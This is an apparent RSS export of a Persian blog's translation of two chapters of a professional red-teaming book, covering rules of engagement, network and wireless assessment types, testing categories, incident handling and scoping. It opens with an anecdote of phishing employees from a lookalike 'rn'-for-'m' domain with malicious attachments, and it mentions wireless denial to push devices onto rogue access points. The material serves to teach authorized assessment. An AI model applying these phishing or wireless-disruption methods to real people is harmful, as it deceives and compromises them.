<p>فرض کنید اسم شرکت خریداری شده Temp Agency و دامنه ایمیل این شرکت @tempagency بود. ما دامنه ternpagency را ثبت کرده و از آدرس ایمیل hr@ternpagency استفاده کردیم. همانطور که در جریان هستید، با خیلی از فونت‌ها حروف &#8220;rn&#8221; و &#8220;m&#8221; شبیه به هم به نظر می‌رسند به خصوص در نگاه اول. بلافاصله پس از اعلام خبر اکتساب در شرکت هدف، ما ایمیل‌هایی با عنوان &#8220;اطلاعات اکتساب&#8221; برای کارمندان این شرکت ارسال کردیم که حاوی چند فایل پیوست آلوده با عناوینی مثل &#8220;تغییرات حقوق&#8221; و سایر عناوین جذاب بودند. ما آدرس ایمیل اهدافمان را با جستجوی سایت‌های شبکه این کسب و کار و سایر تکنیک‌های اپن سورس به دست آورده بودیم. همانطور که حتماً تصور می‌کنید، خیلی از کارمندان کنجکاو و عصبی روی این ایمیل کلیک کرده و فایل‌ها و لینک‌های مخرب ما را دانلود کردند.</p>
<h3><a name="_Toc144125097"></a>شبکه خارجی</h3>
<p>ارزیابی از طریق شبکه‌های خارجی در مأموریت‌های تیم قرمز بسیار رایج است و به حملات سایبری گفته می‌شود که تیم قرمز از خارج از مرزهای سیستم، بر علیه سازمان انجام می‌دهند. ممکن است این حملات محدود به دارایی‌های سازمانی باشد که با بیرون در تماس هستند (شکل 5-1). این حمله خارجی معمولاً از طریق اینترنت انجام می‌شود. اما در برخی از سازمان‌های بزرگ که تیم‌های قرمز درون سازمانی دارند، ممکن است این حملات شامل حمله به یک سایت منطقی یا فیزیکی از یک سایت منطقی یا فیزیکی دیگر باشند. ملاحظات مهمی که باید در ROE چنین مأموریت‌هایی در نظر داشت، مربوط به منشأ حمله هستند. تیم ارزیابی باید در ROE آدرس مبدأ را که حملات از طریق آن اجرا می‌شود، مشخص کند تا امکان تشخیص فوری فعالیت‌های تیم قرمز از حمله‌های واقعی وجود داشته باشد.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1357 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-1.jpg" alt="" width="425" height="208" srcset="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-1.jpg 425w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-1-300x147.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-1-100x49.jpg 100w" sizes="auto, (max-width: 425px) 100vw, 425px" /></p>
<p style="text-align: center;">شکل 5-1 فعالیت‌های شبکه خارجی</p>
<p>این شرایط، نیاز به وجود یک نوع زیرساخت مبنتی بر ارتباطات خارجی را نشان می‌دهد. ممکن است حین اجرای حملات اینترنتی که برای تغییر مسیر از زیرساخت‌های خارجی استفاده نمی‌کنند، فعالیت‌های تیم ارزیابی منجر به نقض توافقنامه‌هایی که سازمان با شرکت‌های ارایه دهنده خدمات اینترنتی دارد شده و باعث مسدود شدن برخی از آدرس‌ها یا قرار گرفتن آنها در لیست سیاه و یا حتی تعلیق کامل برخی از حساب‌های کاربری شود. چنین شرایطی می‌تواند باعث پیچیدگی و به تأخیر افتادن ارزیابی‌ها شود چون سازمان هدف از آدرس‌های مبدأ و تغییرات آنها اطلاع پیدا می‌کند. همچنین ممکن است در این شرایط بدون وجود ابزارهای تغییر مسیر خارجی، تیم قرمز به دلیل اجرای حملات سایبری که توافقنامه‌های کاربری شرکت ارایه دهنده خدمات میزبانی را نقض می‌کند، امکان دسترسی به اینترنت را از دست بدهد. مزیت استفاده از یک سرور با میزبانی خارجی برای اجرای حمله این است که به چندین ارزیاب امکان می‌دهد تا ارزیابی را از طریق یک دستگاه اجرا کرده و با یکدیگر همکاری کنند.</p>
<p>در یکی از مأموریت‌های ما، یکی از اعضای تیم ارزیابی را از راه دور و از طریق اینترنت منزل انجام می‌داد. سازمان مشتری باید آدرس این ارزیاب را در فایروال مجاز اعلام می‌کرد تا امکان اجرای ارزیابی فراهم می‌شد. دو روز از این ارزیابی 10 روزه، آدرس ارزیاب تغییر کرد و تقریباً دو روز کامل طول کشید تا فایروال آدرس‌های جدید را مجاز در نظر گرفته و فرایند ارزیابی ادامه پیدا کند. به این ترتیب، 20 درصد از فرصت ارزیابی ما از دست رفت و به دلیل سایر تعهدات موجود در این ارزیابی، امکان تغییر و تنظیم مجدد عملیات را نداشتیم. برای پیشگیری از چنین مشکلاتی که هنگام ارزیابی از طریق شبکه‌های خارجی ایجاد می‌شوند، در ROE یک زیرساخت شخص ثالث مجزا با آدرس ایستا را تعیین و استفاده از آن را الزامی کنید.</p>
<h3><a name="_Toc144125098"></a>شبکه داخلی</h3>
<p>فعالیت‌های شبکه داخلی شامل حملات سایبری است که از درون شبکه سازمان هدف شروع شده و سایر دارایی‌های داخلی را هدف می‌گیرند (شکل 5-2). گرچه این روش امکان اجرای بسیار کارآمدتر ارزیابی را به خصوص در بازه‌های زمانی کوتاه‌تر فراهم می‌کند اما خیلی از مواقع مشتریان با این کار موافق نیستند. همانطور که پیش از این اشاره شد، گاهی اوقات این دیدگاه وجود دارد که اگر ارزیابی شامل دسترسی‌های خارجی نباشد، غیرواقعی یا نادرست است. ما باید سازمان‌های هدف را در رابطه با این واقعیت آموزش دهیم که سهم چشمگیری از حملات و نفوذهای موفق ناشی از تهدیدات داخلی یا فعالیت‌های مهندسی اجتماعی هستند که هر دو از دسترسی به یک دستگاه در شبکه داخلی شروع می‌شوند. اگر نیاز صریحی به اجرای ارزیابی خارجی وجود نداشته باشد، بهترین حالت از نظر تعدیل هزینه‌ها برای سازمان، اجرای یک ارزیابی کوتاه است که در آن ارزیابی‌ها به جای حمله خارجی یا سایر روش‌ها، با یک حرکت از شبکه داخلی شروع می‌شوند.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1358 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-2.jpg" alt="" width="487" height="224" srcset="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-2.jpg 487w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-2-300x138.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-2-100x46.jpg 100w" sizes="auto, (max-width: 487px) 100vw, 487px" /></p>
<p style="text-align: center;">شکل 5-2 فعالیت‌های شبکه داخلی</p>
<p>معمولاً چنین ارزیابی‌هایی در صورتی قابل انجام است که ارزیاب دسترسی‌های غیرممتاز خاصی را داشته باشد. اما در برخی شرایط بهتر است که حمله داخلی اول با سطح دسترسی پایین شروع شده و بعد این سطح دسترسی تقویت شود تا حداکثر میزان ممکن از سطح حمله عملیاتی سازمان ارزیابی شود. معمولاً دسترسی که امکان اجرای این فعالیت‌ها را فراهم می‌کند، از طریق یک تهدید داخلی یا یک حمله مهندسی اجتماعی شبیه سازی شده موفق به دست می‌آید. هر دو حالت بیشتر توسط ارزیابانی شروع می‌شود که دسترسی سطح کاربر عادی را به شبکه دارند و بعد سایر تجهیزات درون سازمان را هدف می‌گیرند. ROE چنین حمله‌ای باید به وضوح مرز بین افراد و دارایی‌های قابل هدف گیری و غیرقابل هدف گیری را مشخص کند. از آنجایی که ارزیابی از درون محیط امنیتی سازمان شروع می‌شود، ممکن است به سرعت به بخش‌هایی از سازمان منتشر شود که مشتری تصور می‌کرده امکان آلودگی آنها وجود ندارد و هدفگیری نخواهند شد. هنگام تعیین محدوده عملیات و ایجاد ROE، باید اهداف و روش‌های ممنوع مشخص شوند حتی اگر مشتری رسیدن به آنها را بعید می‌داند به ویژه برای مواقعی که حملات داخلی انجام می‌شوند.</p>
<h3><a name="_Toc144125099"></a>حرکت در شبکه</h3>
<p>ممکن است در تنظیم ROE حرکت در شبکه جزء فعالیت‌های کم اهمیت به نظر برسد اما تعیین مجاز بودن تیم ارزیابی به انتقال در شبکه نقش مهمی در شیوه اجرای عملیات دارد. حرکت در شبکه دو تعریف دارد که هر دو باید در ROE در نظر گرفته شوند. تعریف اول، به استفاده از امکان دسترسی به یک دستگاه برای سرشماری سایر تجهیزات و حمله به اهداف دیگر در سازمان گفته می‌شود (شکل 5-3). در چندین مورد از حملات سایبری که ما انجام داده‌ایم، مشتری مایل به حرکت از یک میزبان به میزبانی دیگر نبوده و این شرایط باعث کاهش محدوده حمله شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1359 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-3.jpg" alt="" width="472" height="230" srcset="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-3.jpg 472w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-3-300x146.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-3-100x49.jpg 100w" sizes="auto, (max-width: 472px) 100vw, 472px" /></p>
<p style="text-align: center;">شکل 5-3 حالت خارجی و بدون جابجایی</p>
<p>&nbsp;</p>
<p>اگر جابجایی بین دارایی‌های داخل سازمان مجاز باشد، ردپای حمله بسیار عظیم‌تر خواهد بود و این موضوع بر زمان و محدوده ارزیابی هم تأثیر خواهد داشت (شکل 5-4).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1360 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-4.jpg" alt="" width="479" height="239" srcset="https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-4.jpg 479w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-4-300x150.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/05/professional-red-teaming-fig-5-4-100x50.jpg 100w" sizes="auto, (max-width: 479px) 100vw, 479px" /></p>
<p style="text-align: center;">شکل 5-4 حالت داخلی و باجابجایی</p>
<p>دومین تعریف از جابجایی، به استفاده از یک اپلیکیشن برای نفوذ به یک اپلیکیشن دیگر و ارتقای سطح دسترسی گفته می‌شود. برخی از ارزیابی‌های امنیت تهاجمی محدود به هدف گرفتن یک اپلیکیشن خاص هستند که روی یک یا چند دستگاه میزبانی می‌شوند. برای مثال، یک اپلیکیشن پایگاه داده را در نظر بگیرید. در صورت مجاز نبودن جابجایی، حتی اگر ارزیاب راهی برای نفوذ به سیستم با بهره برداری از پایگاه داده پیدا کند، باز هم امکان انجام این کار را نخواهد داشت. این محدودیت نسبت به محدودیت جابجایی بین دستگاه‌ها کمتر متداول است اما گاهی اوقات در تعریف محدوده تعامل، هر دو روش جابجایی در ROE محدود یا ممنوع اعلام می‌شوند.</p>
<h3><a name="_Toc144125100"></a>شبکه بی‌سیم</h3>
<p>حمله از طریق شبکه بی‌سیم شبیه حمله فیزیکی است چون معمولاً جزء حوزه‌های تخصصی‌تر و محدودتر در عملیات تیم قرمز است و عده کمی مهارت زیادی در انجام چنین فعالیت‌هایی دارند. همچنین برای این حملات باید ریسک‌های بیشتری را پذیرفته و در ROE مشخص کرد. سه روش برای حمله از طریق شبکه فیزیکی وجود دارند که عبارتند از:</p>
<ol>
<li>شنود غیرفعال با هدف رسیدن به دسترسی‌های بیشتر با گردآوری ترافیک کافی تا امکان کرک کردن رمزنگایی یا تشخیص اعتبارنامه‌های کاربری فراهم شود.</li>
<li>بهره برداری فعال مثلاً برای حمله به یک دستگاه بلوتوث جهت جمع آوری اطلاعات یا دستکاری آن دستگاه.</li>
<li>محروم سازی از شبکه بی‌سیم برای تغییر وضعیت عملیاتی یک سازمان به نفع حملات تیم قرمز.</li>
</ol>
<p>یک نمونه محروم سازی از شبکه بی‌سیم برای اجرای ارزیابی، اقدامی است که مانع از برقراری ارتباط با یک نقطه دسترسی شده و دستگاه‌های هدف را ملزم به انتقال از نقاط دسترسی بی‌سیم امن به نقاط دسترسی مخرب تنظیم شده توسط تیم قرمز می‌کند. فناوری‌های بی‌سیم طیف وسیعی دارند از جمله استانداردهای 802.11 که معمولاً در منازل و کسب و کارها استفاده می‌شوند تا رادیوها، بلوتوث، مادون قرمز و غیره. اگر حمله به شبکه بی‌سیم در مأموریت تیم قرمز مورد انتظار باشد، باید در ROE نوع فعالیت و فناوری‌های قابل هدف گیری مشخص شوند. همچنین اعضای تیم قرمز باید آگاه باشند که برای استفاده از امواج بی‌سیم مقررات خاصی وجود دارد و اگر فعالیت‌های محروم سازی از شبکه بی‌سیم بر ضد سازمان هدف، بر دارایی‌های غیر متعلق به مشتری مثل شبکه بی‌سیم یک کافی شاپ نزدیک تأثیراتی منفی داشته باشند، این فعالیت نقض قانون تلقی شده و قابل پیگرد قانونی است.</p>
<p>بعلاوه ممکن است برخی از افراد در سازمان مشتری دستگاه‌های شخصی خودشان را به شبکه بی‌سیم سازمان متصل کنند و حمله به شبکه بی‌سیم آنها را نیز تحت تأثیر قرار دهد. باید با استفاده از همان روش‌هایی که در بخش مهندسی اجتماعی اشاره شد، با این تضاد احتمالی هم برخورد شود. باید چنین شرایطی به همراه سیاست‌های مربوطه و توافقنامه‌های کاربری به خوبی در ROE درک و ثبت شده باشد تا در این زمینه مسئولیتی متوجه ارزیاب نباشد.</p>
<h2><a name="_Toc144125101"></a>دسته بندی</h2>
<p>علاوه بر در نظر گرفتن و تأیید نوع فعالیت در ROE، باید دسته بندی ارزیابی تهاجمی که قرار است تیم قرمز انجام دهد هم مشخص شود. این دسته بندی‌ها شامل تست جعبه سیاه، تست جعبه خاکستری و تست جعبه سفید هستند.</p>
<p>تست جعبه سیاه حالتی است که در آن مأمویت تیم قرمز تقریباً بدون در اختیار داشتن هیچ اطلاعاتی از هدف انجام می‌شود به غیر از اطلاعات ساده‌ای مثل نام هدف. ممکن است چنین تستی به شبیه سازی واقع گرایانه‌تر حمله کمک کند اما باعث صرف زمان بیشتر و ایجاد ریسک برای ارزیابی می‌شود. این احتمال وجود دارد که ارزیابی بسیار فراتر از محدوده قانونی رفته یا بخش‌های زیادی از سازمان را پوشش ندهد. برای مثال، ممکن است در تحقیقات اپن سورس تست جعبه سیاه، تیم ارزیابی به سایتی برخورد کند که به ظاهر متعلق به سازمان است اما وقتی بهره برداری از این سایت را آغاز می‌کند، مشخص شود که این سایت یک کپی از محتوای سایت اصلی سازمان است که به عنوان یک مثال بازاریابی توسط یک شرکت دیگر استفاده شده و چنین اقدامی یعنی نقض قوانین CFAA و سایر مقررات مربوطه توسط تیم قرمز.</p>
<p>در تست جعبه خاکستری، مقداری اطلاعات در اختیار تیم ارزیابی قرار می‌گیرد اما ممکن است این کار برای اجتناب از ریسک‌های تست جعبه سیاه انجام شود. معمولاً فهرست کاملی از نقاط حضور بیرونی ارایه شده و تیم ارزیابی باید بر اساس همین اطلاعات کارهای لازم را انجام دهد.</p>
<p>در نهایت، تست سفید به تستی گفته می‌شود که در آن ارزیابان اطلاعات تقریباً کاملی از سازمان هدف دارند. معمولاً چنین شرایطی در صورت استفاده از تیم‌های قرمز درون سازمانی اجتناب ناپذیر است و لزوماً چیز بدی نیست. دقت داشته باشید که بسیاری از نفوذها حاصل تهدیدات داخلی هستند و ممکن است چنین کارمندانی هم زاویه دید کاملی نسبت به سازمان داشته باشند. در بیشتر مواقع، تست نفوذ جعبه سفید به اندازه تست جعبه سیاه مفید است.</p>
<h2><a name="_Toc144125102"></a>تقویت نیرو</h2>
<p>بین همه جوانب عملیات تیم قرمز، تقویت نیرو در ROE بیشترین شباهت را به مفهوم نظامی تیم قرمز دارد. تقویت نیرو یکی دیگر از جنبه‌های ROE است که درک آن بسیار راحت و ساده است و ثبت و تأیید آن قبل از شروع هر ارزیابی بسیار مهم و ضروری است. در ROE تیم قرمز سایبری، تقویت نیرو تعیین کننده محدودیت انواع فعالیت‌هایی است که می‌توان بدون هماهنگی و کسب تأیید اولیه از رابط تیم قرمز در سازمان مشتری، آنها را انجام داد. اخذ چنین تأییدهایی برای مقابله با تأثیرات سهل انگاری فاحش بر مشتری ضروری است و معمولاً هنگام ارزیابی محیط‌های عملیاتی یا تولیدی در ROE پوشش داده می‌شود. برای ارزیابی‌ها و سرشماری‌های روزانه سطح خاصی از اقدامات و فعالیت‌ها در ROE مجاز است اما برای اقدامات خاصی مثل ارتقای سطح دسترسی یا اجرای کد از راه دور، کسب مجوز و تأییدیه ضروری است. اگر در ROE چنین قیود و محدودیت‌هایی در نظر گرفته شده باشند، سازمان مشتری باید یک فرایند تأیید کارآمد و مناسب برای چنین فعالیت‌هایی داشته باشد تا بهره وری عملیات حفظ شود.</p>
<p>من به شخصه طرفدار بزرگ استفاده از یک مأمور رایزنی توسط سازمان هدف هستم. مأمور رایزنی یکی از نمایندگان سازمان است که در طول دوره ارزیابی در دسترس قرار دارد؛ این شخص آگاهی وضعیتی کلی را از فعالیت‌های تیم قرمز داشته و بیشتر تأییدیه‌های لازم را حین ارزیابی فراهم می‌کند. مأمور رایزنی می‌تواند یک کارشناس مجرب امنیت تهاجمی یا یک کارمند فنی باشد یا جزء کارمندان کم مهارت‌تر بخش امنیت یا فناوری اطلاعات باشد. وجود این مأمور به غیر از روان‌تر کردن جریان کار تیم قرمز برای سازمان مشتری هم مفید است به این دلیل که باعث می‌شود یکی از کارمندان سازمان دید بهتری نسبت به عملکرد تیم قرمز داشته باشد؛ اطلاعات به دست آمده از این فرایند را در وظایف روزمره خودش به کار ببندد و باعث تقویت قابلیت‌های امنیتی کلی سازمان شود.</p>
<h2><a name="_Toc144125103"></a>مدیریت حادثه</h2>
<p>برای رسیدگی به حادثه و مدیریت آن، وجود یک زنجیره از مقامات مسئول لازم است. حوادث در دو گروه قرار می‌گیرند و هر کدام نیاز به زنجیره گزارش دهی متفاوتی دارد: فعالیت‌های غیرقانونی شناسایی شده درون سازمان و فعالیت‌های غیرقانونی مربوط به سازمان. یک نمونه از فعالیت‌های غیرقانونی وقتی مشاهده می‌شود که اعضای تیم ارزیابی شواهدی پیدا می‌کنند که آنها را مشکوک به انجام اقداماتی غیرقانونی در سازمان می‌کند مثل توزیع مواد مخدر، قاچاق انسان یا سایر جرایم جدی. در ROE باید مشخص شود که چنین اقدامات مشکوکی چگونه و به چه افرادی گزارش داده می‌شوند. دلیل در نظر گرفتن این مسئله این است که اگر تیم ارزیابی چنین فعالیت‌های غیرقانونی را به جای سازمان مشتری، مستقیماً به مقامات مسئول گزارش دهد، سازمان مشتری امکان پیگرد قانونی تیم قرمز را نداشته باشد.</p>
<p>فرض کنید مقامات یک سازمان معاملات نهانی<a href="#_ftn6" name="_ftnref6">[6]</a> انجام می‌دهند و تیم ارزیابی حین اجرای عملیات متوجه این موضوع شده و یافته‌های خودش را به اطلاع مقامات می‌رساند. ممکن است سازمان سعی کند با صدور قرار منع بر اساس توافقنامه‌های محرمانگی که بخشی از ROE هستند، مانع از این اقدام شود. وجود یک بند درباره گزارش حوادث مربوط به فعالیت‌های غیرقانونی می‌تواند به مقابله با چنین شرایطی کمک کرده و تعهدات ارزیاب را برای گزارش دادن چنین حوادثی از همان ابتدای راه مشخص کند. همچنین، ROE باید انتظاراتی را که سازمان از تیم ارزیابی در رابطه با گزارش دهی فعالیت‌های پرسنل و رفتارهای غیرقانونی آنها دارد، مشخص کند. در این گزارش باید انواع اقدامات غیرقانونی کارمندان سازمان که گزارش آنها توسط تیم قرمز ضروری است و دریافت کننده این گزارشات مشخص شوند. از جمله این فعالیت‌ها می‌توان به شواهد آزار و اذیت جنسی، تقلب در کارت حضور غیاب کارمندان یا نقض سایر سیاست‌های سازمانی اشاره کرد. حین اجرای عملیات، باید همه حوادثی که ماهیت امنیتی یا عملیاتی دارند به اطلاع مسئولان مربوطه برسد چون این افراد بیشترین امکانات لازم را برای رسیدگی به چنین گزارشاتی در اختیار دارند.</p>
<h2><a name="_Toc144125104"></a>ابزارها</h2>
<p>ابزارهایی که قرار است در عملیات تیم قرمز استفاده شوند هم باید در ROE مشخص شوند. این کار با این هدف انجام می‌شود که تیم ارزیابی به دلیل آسیب‌های ناشی از به کار بردن یک ابزار خاص در ارزیابی متهم شناخته نشود. در صورتی که مشتری طبق ROE با استفاده از آن ابزار موافقت کرده باشد، امکان اقدام قانونی بر علیه تیم قرمز را نخواهد داشت. ثبت مشخصات این ابزارها در ROE برای مشتری هم مفید خواهد بود چون مانع از به کار بردن ابزارهای پر خطر و تأیید نشده توسط تیم قرمز برای دسترسی به سیستمی با شرایط دشوار خواهد شد.</p>
<p>اما این مثال‌ها کاملاً کلی بودند و ROE می‌تواند شامل دستورالعمل‌هایی بسیار صریح باشد که به خصوص هنگام کار با سازمان‌های دولتی که در آنها تیم ارزیابی باید قوانین و هماهنگی‌های خاصی را رعایت کند، ضروری خواهد بود. ممکن است در چنین شرایطی استفاده از ابزارهایی که مشکلاتی شناخته شده دارند ممکن نباشد و استفاده از جدیدترین نسخه ابزارها حین اجرای تست، الزامی باشد.</p>
<p>معمولاً در یک ROE اشاره به ابزارها در قالب جملاتی مبهم و کلی صورت می‌گیرد مثل &#8220;برای اجرای ارزیابی از ابزارهای استاندارد، اپن سورس و اختصاصی استفاده می‌شود.&#8221; معمولاً در بیشتر شرایط اشاره به ابزارها در قالب همین جمله کافی است و تنها استدلالی که برای استفاده از آن مطرح می‌شود این است که آیا استفاده از ابزارهای اختصاصی مجاز است یا خیر. همین بخش از این جمله، ابزارها و کدهایی که خود تیم ارزیابی آنها را نوشته و از آنها استفاده می‌کند را پوشش می‌دهد. این قابلیت اضافه کردن ابزارها و امکانات اختصاصی جزء شرایط کار تیم‌های قرمز حرفه‌ای و با استعداد است که برخی از سازمان‌ها تمایلی به وجود آن ندارند. اگر قسمت مجاز بودن استفاده از ابزارهای سفارشی از ROE حذف شود، تیم ارزیابی باید حین تعامل از ابزارهای شناخته شده اپن سورس که جزء ابزارهای استاندارد در صنعت مربوطه هستند، استفاده کند.</p>
<h2><a name="_Toc144125105"></a>الزامات مجوز</h2>
<p>مثل شرایطی که در رابطه الزامات ابزارها وجود دارد، ممکن است تیم قرمز برای فعالیت در شبکه یک سازمان هم نیاز به کسب مجوزهای خاصی داشته باشد. به خصوص ممکن است مشتریان دولتی چنین الزاماتی را برای تیم قرمز در نظر بگیرند. دسترسی سطح بالا به بسیاری از سیستم‌های دولتی، مستلزم داشتن چنین مجوزهایی است. از آنجایی که ممکن است فعالیت‌های تیم قرمز منجر به رسیدن به چنین دسترسی‌هایی شود، این افراد باید مجوزهای لازم را برای چنین دسترسی‌هایی داشته باشند. ممکن است این شرایط برای سیستم‌هایی که اطلاعات HIPAA و سایر اطلاعات مشابه را ذخیره می‌کنند هم برقرار باشد. معمولاً چنین مجوزهایی به صورت مورد به مورد اعطا می‌شوند و اگر الزامات خاصی برای کسب مجوز وجود داشته باشد، در ROE نام ارزیاب مربوطه ذکر می‌شود. این‌ها از جمله شرایطی هستند که باعث می‌شوند منابع تیم‌های قرمز بزرگ در مأموریت‌های مختلف افزایش یا کاهش پیدا کنند.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> rules of engagement</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> Computer Fraud and Abuse Act</p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> key logger</p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> تپ شبکه سیستمی است که رویدادهای یک شبکه محلی را رصد می‌کند</p>
<p><a href="#_ftnref5" name="_ftn5">[5]</a> whaling</p>
<p><a href="#_ftnref6" name="_ftn6">[6]</a> تجارت داخلی یا معاملات نهانی <a href="https://en.wikipedia.org/wiki/Insider_trading">(Insider Trading)</a>، معامله سهام یک شرکت سهامی عام یا سایر اوراق بهادار بر اساس اطلاعات مادی و غیرعمومی درباره شرکت است. در کشورهای مختلف، برخی از انواع تجارت بر اساس اطلاعات داخلی غیرقانونی است.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-5/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل چهارم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-4/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-4/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Wed, 10 Apr 2024 13:17:52 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1342</guid>

					<description><![CDATA[فصل چهارم: شکل‌دهی عملیات شکل‌دهی یا تشکیل محدوده برای یک عملیات امنیت تهاجمی، یعنی تعیین آنچه که قرار است ارزیابی شود و زمان انجام آن...]]></description>
										<content:encoded><![CDATA[<h2>فصل چهارم: شکل‌دهی عملیات</h2>
<p>شکل‌دهی یا تشکیل محدوده برای یک عملیات امنیت تهاجمی، یعنی تعیین آنچه که قرار است ارزیابی شود و زمان انجام آن بر اساس توافق بین اجراکنندگان ارزیابی و مشتری. این دو ویژگی ارتباط تنگاتنگی با هم دارند و محدودیت‌های در نظر گرفته شده برای هر کدام، بر دیگری تأثیر خواهد داشت. تعیین &#8220;آنچه&#8221; که قرار است ارزیابی شود، به میزان زیادی بستگی به نیازهای واقعی یا مورد تصور مشتری دارد. &#8220;زمان&#8221; اجرای ارزیابی نشان دهنده بازه زمانی و زمانبندی اجرای ارزیابی است و تحت تأثیر دسترس پذیری منابع قرار دارد. محدودیت‌های منابع که بر زمان اجرای ارزیابی تأثیر دارند معمولاً اگر از سمت مشتری باشند اقتصادی و اگر از سمت تیم قرمز باشند عملیاتی هستند. این فصل به شما کمک می‌کند تا درک خوبی از جنبه‌های مختلف تأثیرگذار بر تعیین محدوده ارزیابی‌های امنیت تهاجمی و عوامل شکل دهنده نتیجه این فرایند به دست آورید.</p>
<h2><a name="_Toc144125078"></a>چه افرادی؟</h2>
<p>اشتباه در تعیین محدوده می‌تواند شانس اجرای موفقیت آمیز ارزیابی را از بین برده و روابط کاری بین کارمندان سازمانی (در صورت استفاده از تیم درون سازمانی) یا روابط تجاری را (در صورت استفاده از خدمات شخص ثالث) تخریب کند. بسیار مهم است که در تعیین محدوده، پرسنل درست و مناسبی حضور داشته باشند تا شانس برآورده شدن نیازهای مشتری در ارزیابی‌ها و اجرای این فرایند متناسب با ظرفیت عملیاتی منابع ارزیابی به بیشترین حالت ممکن برسد. در شرایط ایده آل، مشتری و ارایه دهنده خدمات هر دو در فرایند شکل دهی محدوده، نمایندگانی از بخش‌های فنی و عملیاتی یا مدیریتی دارند.</p>
<h3><a name="_Toc144125079"></a>پرسنل فنی سازمان مشتری</h3>
<p>منظور از پرسنل فنی سازمان مشتری، افرادی هستند که در زمینه ایمن سازی و مدیریت شبکه نقش دارند. اگر سازمان مشتری در مرحله تشکیل محدوده هیچ نماینده فنی نداشته باشد، این احتمال وجود دارد که هنگام تعیین محدوده ارزیایی، برخی از نقاط حیاتی و مهم در نظر گرفته نشوند یا بخش‌هایی از کل سطح حمله سازمان از قلم بیفتند. همچنین، بدون حضور آنها این احتمال وجود دارد که محدوده مورد توافق شامل بخش‌هایی از شبکه باشد که در حال توسعه هستند یا در انجام یکسری عملیات‌های خاص، نقشی حیاتی دارند. اگر در این مرحله، اهداف در حال توسعه مشخص نشوند، ممکن است ارزیاب‌ها برای ارزیابی سیستم‌هایی که در آینده نزدیک کاملاً تغییر خواهند یافت یا وجود نخواهند داشت، وقت و تلاش بیهوده صرف کنند.</p>
<p>من به شخصه زمان زیادی را برای ارزیابی &#8211; و همچنین گزارش دادن نتایج &#8211; آسیب‌پذیری‌های ظاهراً مهم صرف کرده‌ام و بعد مشتری به دلیل اینکه قرار بوده چنین سیستم‌هایی کنار گذاشته شوند، این گزارش‌ها را رد کرده است. چنین شرایطی برای یک ارزیاب بسیار آزار دهنده است و البته باعث اتلاف منابع مشتری هم می‌شود. مدیران یا کارمندان امنیتی در صورتی که در تعیین محدوده مشارکت داده شوند، می‌توانند به نکاتی مثل اینکه چند کلاستر پایگاه داده از رده خارج شده‌اند اشاره کنند تا وقت ارزیاب‌ها صرف بررسی و بهره برداری از آنها نشود.</p>
<h3><a name="_Toc144125080"></a>پرسنل عملیاتی سازمان مشتری</h3>
<p>وجود نمایندگان مدیریتی یا عملیاتی از سمت مشتری هم به همین میزان در تعیین محدوده ارزیابی اهمیت دارد. بدون وجود چنین ورودی‌هایی، ممکن است ارزیابی بهترین حالت بازگشت سرمایه را برای سازمان نداشته باشد. همانطور که پیش از این اشاره شد، گاهی اوقات ارزیابی امنیتی به عنوان اهرمی برای به دست آوردن بودجه یا در راستای رسیدن به اهداف داخلی انجام می‌شود. امنیت سایبری یکی از اجزای بسیار مهم هر سازمان امروزی است اما تنها یکی از اجزای آن است. سازمان‌هایی هستند که یک یا چند عملکرد مختلف دارند و تعیین محدوده بدون حضور افراد مسئول چنین عملکردهایی از منظر عملیاتی یا مدیریتی، می‌تواند کار نادرست و غیرمسئولانه‌ای باشد.</p>
<p>هنگام تشکیل تیم قرمز برای سازمان‌های بزرگ، من هم در ارزیابی‌هایی که در آنها مدیریت فنی سازمان محدوده عملیات و اهداف مشکوک را برای ارزیابی مشخص می‌کرد، حضور داشتم. در واقع هدف این بود که نقص عملکرد کارمندان عملیاتی و امنیتی یک زیرمجموعه خاص از سازمان را ثابت کنیم. تیم قرمز ما، به عنوان یک گروه ارزیاب خارجی در یک محیط تجاری در جایگاهی قرار نداشت که ایده نامناسب بودن محدوده انتخابی برای کل سازمان را مطرح کند. حضور کارمندان مدیریتی یا عملیاتی خارج از حوزه‌های فنی می‌توانست منجر به انتخاب محدوده‌ای شود که در نهایت باعث ارتقای وضعیت امنیتی سازمان پس از ارزیابی می‌شود.</p>
<h3><a name="_Toc144125081"></a>پرسنل فنی ارایه دهنده خدمات ارزیابی</h3>
